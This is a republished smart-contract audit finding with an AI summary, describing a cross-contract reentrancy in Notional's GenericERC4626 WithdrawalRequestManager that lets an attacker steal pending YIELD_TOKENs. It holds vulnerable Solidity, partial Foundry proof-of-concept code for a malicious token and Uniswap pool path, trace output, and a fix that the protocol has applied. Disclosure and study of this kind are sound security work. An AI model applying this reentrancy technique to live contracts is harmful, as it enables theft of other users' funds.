Cross-contract reentrancy allows YIELD_TOKEN theft for the `GenericERC4626` `WithdrawalRequestManager` variant
The WithdrawalRequestManager's stakeTokens and initiateWithdraw functions lack reentrancy protection, allowing an attacker to reenter via a malicious Uniswap pool and manipulate yield token balances. This lets the attacker steal YIELD_TOKENs from other users' pending withdrawal requests.
0xBoraichoT Follow with KungFuPanda, Ragnarok and 1 other
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/73
Found by
0xBoraichoT, KungFuPanda, Ragnarok, talfao
^ The only validations in-place are the tokenIn and tokenOut sanitizations, but not the whole multihop path though.
NOTE This is the Trading module we have: https://etherscan.io/address/0x179a2d2408bfbc21b72d59c4a74e5010f07dc823#code
https://etherscan.io/address/0xE592427A0AEce92De3Edee1F18E0157C05861564#code <-- UniswapV3 router
Description
Since the WithdrawalRequestManager allows onlyVault operations for multiple different strategy "vaults",..
A combination of a default reentrancy + cross-contract reentrancy is possible...
...Through which YIELD_TOKENs can be drained from the WithdrawalRequestManager...
...---> to the yield strategy where the strategy's depositAsset != WithdrawalRequestManager.STAKE_TOKEN.
This way, the strategy will record a higher surplus (aka delta) of YIELD_TOKENs in the current YIELD_TOKEN.balanceOf(address(this)) and will mint more shares to the malicious user's account.
onlyApprovedVault permits any caller whitelisted in the isApprovedVault mapping:
/// @dev Ensures that only approved vaults can initiate withdraw requests.
modifier onlyApprovedVault() {
if (!isApprovedVault[msg.sender]) revert Unauthorized(msg.sender);
_;
}
Thus, it is possible to steal funds from the WithdrawalRequestManager and then burn these YIELD_TOKENs in exchange for deposit underlying staking token assets.
Root cause
A single WithdrawalRequestManager permits multiple AbstractYieldStrategy instances (aka "whitelisted vaults").
Since neither the WithdrawalRequestManager.stakeTokens nor WithdrawalRequestManager.initiateWithdraw functions have a nonReentrant modifier or an equivalent cross-contract reentrancy protection method, the
function _initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesHeld,
bytes memory data
) internal override virtual returns (uint256 requestId) {
ERC20(yieldToken).approve(address(withdrawRequestManager), yieldTokenAmount);
requestId = withdrawRequestManager.initiateWithdraw({ // audit: reentrancy here!!!!
account: account, yieldTokenAmount: yieldTokenAmount, sharesAmount: sharesHeld, data: data
});
} // audit: does this affect the yield token balance somehow?
/// @dev By default we can use the withdraw request manager to stake the tokens
function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory depositData) internal override virtual { // audit: can it be reentered to increase the yieldtoken balance somehow???
ERC20(asset).approve(address(withdrawRequestManager), assets); // audit: reverts for USDT
withdrawRequestManager.stakeTokens(address(asset), assets, depositData); // audit malicious data
}
/// @inheritdoc IWithdrawRequestManager
function stakeTokens(
address depositToken,
uint256 amount,
bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { // @audit: should actually be non reentrant I think
uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
(uint256 stakeTokenAmount, bytes memory stakeData) = _preStakingTrade(depositToken, amount, data); // audit: reenter and call initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
_stakeTokens(stakeTokenAmount, stakeData);
yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) - initialYieldTokenBalance; // audit: REENTRANCY HERE??? 🪻🪻🪻
ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}
/// @inheritdoc IWithdrawRequestManager
function initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesAmount,
bytes calldata data
) external override onlyApprovedVault returns (uint256 requestId) {
WithdrawRequest storage accountWithdraw = s_accountWithdrawRequest[msg.sender][account];
if (accountWithdraw.requestId != 0) revert ExistingWithdrawRequest(msg.sender, account, accountWithdraw.requestId);
// Receive the requested amount of yield tokens from the approved vault.
ERC20(YIELD_TOKEN).safeTransferFrom(msg.sender, address(this), yieldTokenAmount); // audit: exchanging yieldtoken for the underlying assets
requestId = _initiateWithdrawImpl(account, yieldTokenAmount, data); // audit: reentrancy here??? through forceWithdraw(...)???
accountWithdraw.requestId = requestId;
accountWithdraw.yieldTokenAmount = yieldTokenAmount.toUint120();
accountWithdraw.sharesAmount = sharesAmount.toUint120();
s_tokenizedWithdrawRequest[requestId] = TokenizedWithdrawRequest({
totalYieldTokenAmount: yieldTokenAmount.toUint120(), // audit: may be outdated
totalWithdraw: 0,
finalized: false
});
emit InitiateWithdrawRequest(account, msg.sender, yieldTokenAmount, sharesAmount, requestId);
}
/ @dev Used for ERC4626s that can be staked and unstaked on demand without any additional
/// time constraints.
contract GenericERC4626WithdrawRequestManager is AbstractWithdrawRequestManager {
uint256 private currentRequestId;
mapping(uint256 => uint256) private s_withdrawRequestShares;
constructor(address _erc4626)
AbstractWithdrawRequestManager(IERC4626(_erc4626).asset(), _erc4626, IERC4626(_erc4626).asset()) { }
function _initiateWithdrawImpl(
address /* account */,
uint256 sharesToWithdraw,
bytes calldata /* data */
) override internal returns (uint256 requestId) {
requestId = ++currentRequestId;
s_withdrawRequestShares[requestId] = sharesToWithdraw;
}
function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal override {
ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
IERC4626(YIELD_TOKEN).deposit(amount, address(this));
}
function _finalizeWithdrawImpl(
address /* account */,
uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
uint256 sharesToRedeem = s_withdrawRequestShares[requestId];
delete s_withdrawRequestShares[requestId];
tokensClaimed = IERC4626(YIELD_TOKEN).redeem(sharesToRedeem, address(this), address(this));
finalized = true;
// audit: increases the yieldtoken balance
}
function canFinalizeWithdrawRequest(uint256 /* requestId */) public pure override returns (bool) {
return true;
}
}
Attack path
When the WithdrawalRequestManager is using the GenericERC4626 functionality variant:..
/ @dev Used for ERC4626s that can be staked and unstaked on demand without any additional
/// time constraints.
contract GenericERC4626WithdrawRequestManager is AbstractWithdrawRequestManager {
uint256 private currentRequestId;
mapping(uint256 => uint256) private s_withdrawRequestShares;
constructor(address _erc4626)
AbstractWithdrawRequestManager(IERC4626(_erc4626).asset(), _erc4626, IERC4626(_erc4626).asset()) { }
function _initiateWithdrawImpl(
address /* account */,
uint256 sharesToWithdraw,
bytes calldata /* data */
) override internal returns (uint256 requestId) {
requestId = ++currentRequestId;
s_withdrawRequestShares[requestId] = sharesToWithdraw;
}
function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal override {
ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
IERC4626(YIELD_TOKEN).deposit(amount, address(this));
}
function _finalizeWithdrawImpl(
address /* account */,
uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
uint256 sharesToRedeem = s_withdrawRequestShares[requestId];
delete s_withdrawRequestShares[requestId];
tokensClaimed = IERC4626(YIELD_TOKEN).redeem(sharesToRedeem, address(this), address(this));
finalized = true;
// audit: increases the yieldtoken balance
}
function canFinalizeWithdrawRequest(uint256 /* requestId */) public pure override returns (bool) {
return true;
}
}
... The users who request redemptions (via initiateWithdraw) just temporarily leave sparse YIELD_TOKENs in the WithdrawalRequestManager.
It is a crucial observation needed for proving the validity of the suggested cross-contract reentrancy attack.
External preconditions
Spare YIELD_TOKENs in the WithdrawalRequestManager's GenericERC4626 variant as a result of other users calling initateWithdraw and leaving pending redemption requests.
NOTE Either through front-running or just proper timing, the attack will be executed before the requester calls finalizeAndRedeemWithdrawRequest or finalizeRequestManual is called.
/// @inheritdoc ILendingRouter
function enterPosition(
address onBehalf,
address vault,
uint256 depositAssetAmount,
uint256 borrowAmount,
bytes calldata depositData
) public override isAuthorized(onBehalf, vault) {
_enterPosition(onBehalf, vault, depositAssetAmount, borrowAmount, depositData, address(0));
}
function _enterPosition(
address onBehalf,
address vault,
uint256 depositAssetAmount,
uint256 borrowAmount,
bytes memory depositData,
address migrateFrom
) internal {
address asset = IYieldStrategy(vault).asset();
// Cannot enter a position if the account already has a native share balance
if (IYieldStrategy(vault).balanceOf(onBehalf) > 0) revert CannotEnterPosition();
if (depositAssetAmount > 0) {
// Take any margin deposit from the sender initially
ERC20(asset).safeTransferFrom(msg.sender, address(this), depositAssetAmount);
}
if (borrowAmount > 0) {
_flashBorrowAndEnter(
onBehalf, vault, asset, depositAssetAmount, borrowAmount, depositData, migrateFrom
);
} else {
_enterOrMigrate(onBehalf, vault, asset, depositAssetAmount, depositData, migrateFrom);
}
ADDRESS_REGISTRY.setPosition(onBehalf, vault); // audit: the vault can be completely permissionless
}
/// @dev Enters a position or migrates shares from a previous lending router
function _enterOrMigrate(
address onBehalf,
address vault,
address asset,
uint256 assetAmount,
bytes memory depositData,
address migrateFrom
) internal returns (uint256 sharesReceived) {
if (migrateFrom != address(0)) {
// Allow the previous lending router to repay the debt from assets held here.
ERC20(asset).checkApprove(migrateFrom, assetAmount);
sharesReceived = ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);
// Must migrate the entire position
ILendingRouter(migrateFrom).exitPosition(
onBehalf, vault, address(this), sharesReceived, type(uint256).max, bytes("")
);
} else {
ERC20(asset).approve(vault, assetAmount);
sharesReceived = IYieldStrategy(vault).mintShares(assetAmount, onBehalf, depositData); // @audit:reentrant
}
_supplyCollateral(onBehalf, vault, asset, sharesReceived);
}
function mintShares(
uint256 assetAmount,
address receiver,
bytes calldata depositData
) external override onlyLendingRouter setCurrentAccount(receiver) nonReentrant returns (uint256 sharesMinted) {
// Cannot mint shares if the receiver has an active withdraw request
if (_isWithdrawRequestPending(receiver)) revert CannotEnterPosition();
ERC20(asset).safeTransferFrom(t_CurrentLendingRouter, address(this), assetAmount);
sharesMinted = _mintSharesGivenAssets(assetAmount, depositData, receiver); // audit: unsanitized depositData
t_AllowTransfer_To = t_CurrentLendingRouter;
t_AllowTransfer_Amount = sharesMinted;
// Transfer the shares to the lending router so it can supply collateral
_transfer(receiver, t_CurrentLendingRouter, sharesMinted);
}
/// @dev Marked as virtual to allow for RewardManagerMixin to override
function _mintSharesGivenAssets(uint256 assets, bytes memory depositData, address receiver) internal virtual returns (uint256 sharesMinted) { // audit
if (assets == 0) return 0;
// First accrue fees on the yield token
_accrueFees();
uint256 initialYieldTokenBalance = _yieldTokenBalance();
_mintYieldTokens(assets, receiver, depositData); // audit
uint256 yieldTokensMinted = _yieldTokenBalance() - initialYieldTokenBalance; // audit: can this be manipulated through reentrancy somehow???
sharesMinted = (yieldTokensMinted * effectiveSupply()) / (initialYieldTokenBalance - feesAccrued() + VIRTUAL_YIELD_TOKENS); // audit: effectiveSupply can be manipulated to become greater than intended
_mint(receiver, sharesMinted); // audit: reentrant
}
/// @dev By default we can use the withdraw request manager to stake the tokens
function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory depositData) internal override virtual { // audit: can it be reentered to increase the yieldtoken balance somehow???
ERC20(asset).approve(address(withdrawRequestManager), assets); // audit: reverts for USDT
withdrawRequestManager.stakeTokens(address(asset), assets, depositData); // audit malicious data
}
function _initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesHeld,
bytes memory data
) internal override virtual returns (uint256 requestId) {
ERC20(yieldToken).approve(address(withdrawRequestManager), yieldTokenAmount);
requestId = withdrawRequestManager.initiateWithdraw({ // audit: reentrancy here!!!!
account: account, yieldTokenAmount: yieldTokenAmount, sharesAmount: sharesHeld, data: data
});
} // audit: does this affect the yield token balance somehow?
NOTE The Uniswap multihop trade data should include a malicious swap middle pool to make the reentrancy callback itself even possible.
You can see the e2e PoC at the end of this report.
Internal preconditions
None.
Impact
Theft of other users' funds via stealing YIELD_TOKENs from the pending ERC4626-variant WithdrawalRequestManager requests of other users.
/// @inheritdoc IYieldStrategy
function initiateWithdraw(
address account,
uint256 sharesHeld,
bytes calldata data
) external onlyLendingRouter setCurrentAccount(account) override returns (uint256 requestId) {
requestId = _withdraw(account, sharesHeld, data); // audit: lacks nonreentrant modifier
}
/// @inheritdoc IYieldStrategy
/// @dev We do not set the current account here because valuation is not done in this method. A
/// native balance does not require a collateral check.
function initiateWithdrawNative(
bytes memory data // audit: lscks nonReentrant, so can reenter exactly here
) external override returns (uint256 requestId) { // audit: lacks the nonReentrant modifier
requestId = _withdraw(msg.sender, balanceOf(msg.sender), data); // audit: unsanitized data
}
function _withdraw(address account, uint256 sharesHeld, bytes memory data) internal returns (uint256 requestId) {
if (sharesHeld == 0) revert InsufficientSharesHeld();
// Accrue fees before initiating a withdraw since it will change the effective supply
_accrueFees();
uint256 yieldTokenAmount = convertSharesToYieldToken(sharesHeld);
requestId = _initiateWithdraw(account, yieldTokenAmount, sharesHeld, data);
// Escrow the shares after the withdraw since it will change the effective supply
// during reward claims when using the RewardManagerMixin.
s_escrowedShares += sharesHeld;
}
/// @inheritdoc IWithdrawRequestManager
function setApprovedVault(address vault, bool isApproved) external override onlyOwner {
isApprovedVault[vault] = isApproved;
emit ApprovedVault(vault, isApproved);
}
/// @inheritdoc IWithdrawRequestManager
function stakeTokens(
address depositToken,
uint256 amount,
bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { // @audit: should actually be non reentrant I think
uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
(uint256 stakeTokenAmount, bytes memory stakeData) = _preStakingTrade(depositToken, amount, data); // audit: reenter and call initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
_stakeTokens(stakeTokenAmount, stakeData);
yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) - initialYieldTokenBalance; // audit: non-reliable due to reentrancy
ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}
/// @inheritdoc IWithdrawRequestManager
function initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesAmount,
bytes calldata data
) external override onlyApprovedVault returns (uint256 requestId) {
WithdrawRequest storage accountWithdraw = s_accountWithdrawRequest[msg.sender][account];
if (accountWithdraw.requestId != 0) revert ExistingWithdrawRequest(msg.sender, account, accountWithdraw.requestId);
// Receive the requested amount of yield tokens from the approved vault.
ERC20(YIELD_TOKEN).safeTransferFrom(msg.sender, address(this), yieldTokenAmount); // audit: exchanging yieldtoken for the underlying assets
requestId = _initiateWithdrawImpl(account, yieldTokenAmount, data); // audit: reentrancy here??? through forceWithdraw(...)???
accountWithdraw.requestId = requestId;
accountWithdraw.yieldTokenAmount = yieldTokenAmount.toUint120();
accountWithdraw.sharesAmount = sharesAmount.toUint120();
s_tokenizedWithdrawRequest[requestId] = TokenizedWithdrawRequest({
totalYieldTokenAmount: yieldTokenAmount.toUint120(), // audit: may be outdated
totalWithdraw: 0,
finalized: false
});
emit InitiateWithdrawRequest(account, msg.sender, yieldTokenAmount, sharesAmount, requestId);
}
The only swap path validations are ensuring the first and last tokens match expected values (tokenIn and deUSD in correct order) and a minimum length. This allows an attacker to insert their own malicious token and pool addresses mid-path. During the Uniswap swap, when execution reaches the attacker-controlled pool, the attacker’s token contract can execute arbitrary code in its transfer function. By coding this hook to reenter the Jigsaw protocol—specifically, calling HoldingManager.deposit—the attacker can deposit some new tokens before the swap completes.
function _exactInBatch(address from, Trade memory trade) private pure returns (bytes memory) {
UniV3BatchData memory data = abi.decode(trade.exchangeData, (UniV3BatchData));
// Validate path EXACT_IN = [sellToken, fee, ... buyToken]
require(32 <= data.path.length);
require(_toAddress(data.path, 0) == _getTokenAddress(trade.sellToken));
require(_toAddress(data.path, data.path.length - 20) == _getTokenAddress(trade.buyToken));
ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams(
data.path, from, trade.deadline, trade.amount, trade.limit
);
return abi.encodeWithSelector(ISwapRouter.exactInput.selector, params);
}
function _getExecutionData(
uint16 dexId,
address from,
Trade memory trade
)
internal
pure
returns (
address spender,
address target,
uint256 msgValue,
bytes memory executionCallData
)
{
if (trade.buyToken == trade.sellToken) revert SellTokenEqualsBuyToken();
if (DexId(dexId) == DexId.UNISWAP_V3) {
return UniV3Adapter.getExecutionData(from, trade);
} else if (DexId(dexId) == DexId.BALANCER_V2) {
/// @dev Initiates a withdraw request for the vault shares held by the account
function _initiateWithdraw(
address vault,
address account,
bytes calldata data
) internal returns (uint256 requestId) {
uint256 sharesHeld = balanceOfCollateral(account, vault);
if (sharesHeld == 0) revert InsufficientSharesHeld();
return IYieldStrategy(vault).initiateWithdraw(account, sharesHeld, data); // audit
}
PoC
To run the real coded PoC you need to first modify the AbstractStakingStrategy and the MorphoLendingRouter contracts in such a way that all direct asset.approve(...) are replaced with either the custom safe .checkApprove or .safeApprove or .forceApprove.
In other words, you just need to fix this another USDT incompatibility error first.
p.createPoolAndMint(PoolCreator.CreateArgs({
tokenA: IERC20(tokenIn),
tokenAAmount: 1e6,
tokenB: fakeToken,
tokenBAmount: 1000e18,
fee: poolFee,
factory: IUniswapV3Factory(IPeripheryImmutableState(uniswapRouter).factory())
}));
vm.stopPrank();
}
HackCode code = new HackCode(manager, IERC20(tokenIn));
// Since the holder's user cannot be a contract, the attacker has to resort to
// https://eips.ethereum.org/EIPS/eip-7702 .
// They can set a pointer in their EOA pointing to the code.
// Since this EIP is not yet supported in Foundry, we'll emulate it with vm.etch:
deal(tokenIn, user, 100e6, true);
vm.etch(user, address(code).code);
fakeToken.callme(user);
bytes memory dataClaimInvest = abi.encode(
amount * 99 / 100, // amountOutMinimum
uint256(block.timestamp), // deadline
abi.encodePacked(deUSD, poolFee, USDC, poolFee, tokenIn,
// note how the control is temporary transferred to the attacker's token:
poolFee, fakeToken, poolFee, tokenIn)
);
You can see more tokens are minted that intended:
With the attack:
│ │ │ │ └─ ← [Return] 50292400900908 [5.029e13]
│ │ │ ├─ [23036] ERC4626Mock::transfer(StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 50092400904714 [5.009e13])
│ │ │ │ ├─ emit Transfer(from: GenericERC4626WithdrawRequestManager: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 50092400904714 [5.009e13])
│ │ │ │ ├─ storage changes:
│ │ │ │ │ @ 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4: 0x00000000000000000000000000000000000000000000000000002dbd9cb0cb2c → 0x0000000000000000000000000000000000000000000000000000002e90edc122
│ │ │ │ │ @ 0x8e945654193bec28956c368b451931aae1dd2f910b3127995a9fc7169f7ea4d1: 0 → 0x00000000000000000000000000000000000000000000000000002d8f0bc30a0a
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ emit DeltaYieldToken(_delta: 50092400904714 [5.009e13])
Without the attack enabled:
│ │ │ ├─ [548] ERC4626Mock::balanceOf(GenericERC4626WithdrawRequestManager: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ │ │ │ └─ ← [Return] 50192400902810 [5.019e13]
│ │ │ ├─ [23036] ERC4626Mock::transfer(StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 49992400906616 [4.999e13])
│ │ │ │ ├─ emit Transfer(from: GenericERC4626WithdrawRequestManager: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 49992400906616 [4.999e13])
│ │ │ │ ├─ storage changes:
│ │ │ │ │ @ 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4: 0x00000000000000000000000000000000000000000000000000002da65439ea9a → 0x0000000000000000000000000000000000000000000000000000002e90edc122
│ │ │ │ │ @ 0x8e945654193bec28956c368b451931aae1dd2f910b3127995a9fc7169f7ea4d1: 0 → 0x00000000000000000000000000000000000000000000000000002d77c34c2978
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ emit DeltaYieldToken(_delta: 49992400906616 [4.999e13])
The difference is EXACTLY the 99999998098 shares transferred during the reentrant swap callback via initiateWithdraw (i.e., 50092400904714-99999998098 = 4.99924009e13.
You can see that more shares are minted than the deposit is really worth.
This can be maximized by targeting forceWithdraw to make an artificially earned delta even greater!
See my Gist PoC here:
https://gist.github.com/c-plus-plus-equals-c-plus-one/500a3df82f34eb894db54a4e619fcfed
Mitigation
The "before balance" state accounting hould be captured after the _preStakingTrade call:
/// @inheritdoc IWithdrawRequestManager
function stakeTokens(
address depositToken,
uint256 amount,
bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { // @audit: should actually be non reentrant I think
- uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
(uint256 stakeTokenAmount, bytes memory stakeData) = _preStakingTrade(depositToken, amount, data); // audit: reenter and call initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
+ uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
_stakeTokens(stakeTokenAmount, stakeData);
yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) - initialYieldTokenBalance; // audit: REENTRANCY HERE??? 🪻🪻🪻
ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/34
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Theft of other users' funds via stealing YIELD_TOKENs from pending ERC4626-variant WithdrawalRequestManager requests.
What the attacker needed
Spare YIELD_TOKENs in the WithdrawalRequestManager; Attacker can create a malicious token and pool; Attacker can call stakeTokens with crafted data
The fix
Add a nonReentrant modifier to stakeTokens and initiateWithdraw, and validate the entire Uniswap multihop path to prevent malicious pools.
How it was found
- Attacker sets up a malicious token and a Uniswap pool for it.
- Attacker calls a function that triggers stakeTokens with a crafted multihop path including the malicious pool.
- During the swap, the malicious token's transfer function reenters initiateWithdraw from another vault.
- The reentrant call manipulates the yield token balance, causing stakeTokens to mint more shares than intended.
- Attacker redeems the inflated shares for underlying assets, stealing funds from pending withdrawal requests.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A reentrancy attack happens when a contract calls another contract before finishing its own state updates, letting the called contract call back into the first one to exploit the incomplete state. Here, the WithdrawalRequestManager updates balances after external calls, so an attacker can use a malicious token to reenter and trick the system into minting extra yield tokens, which they can then redeem for assets.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.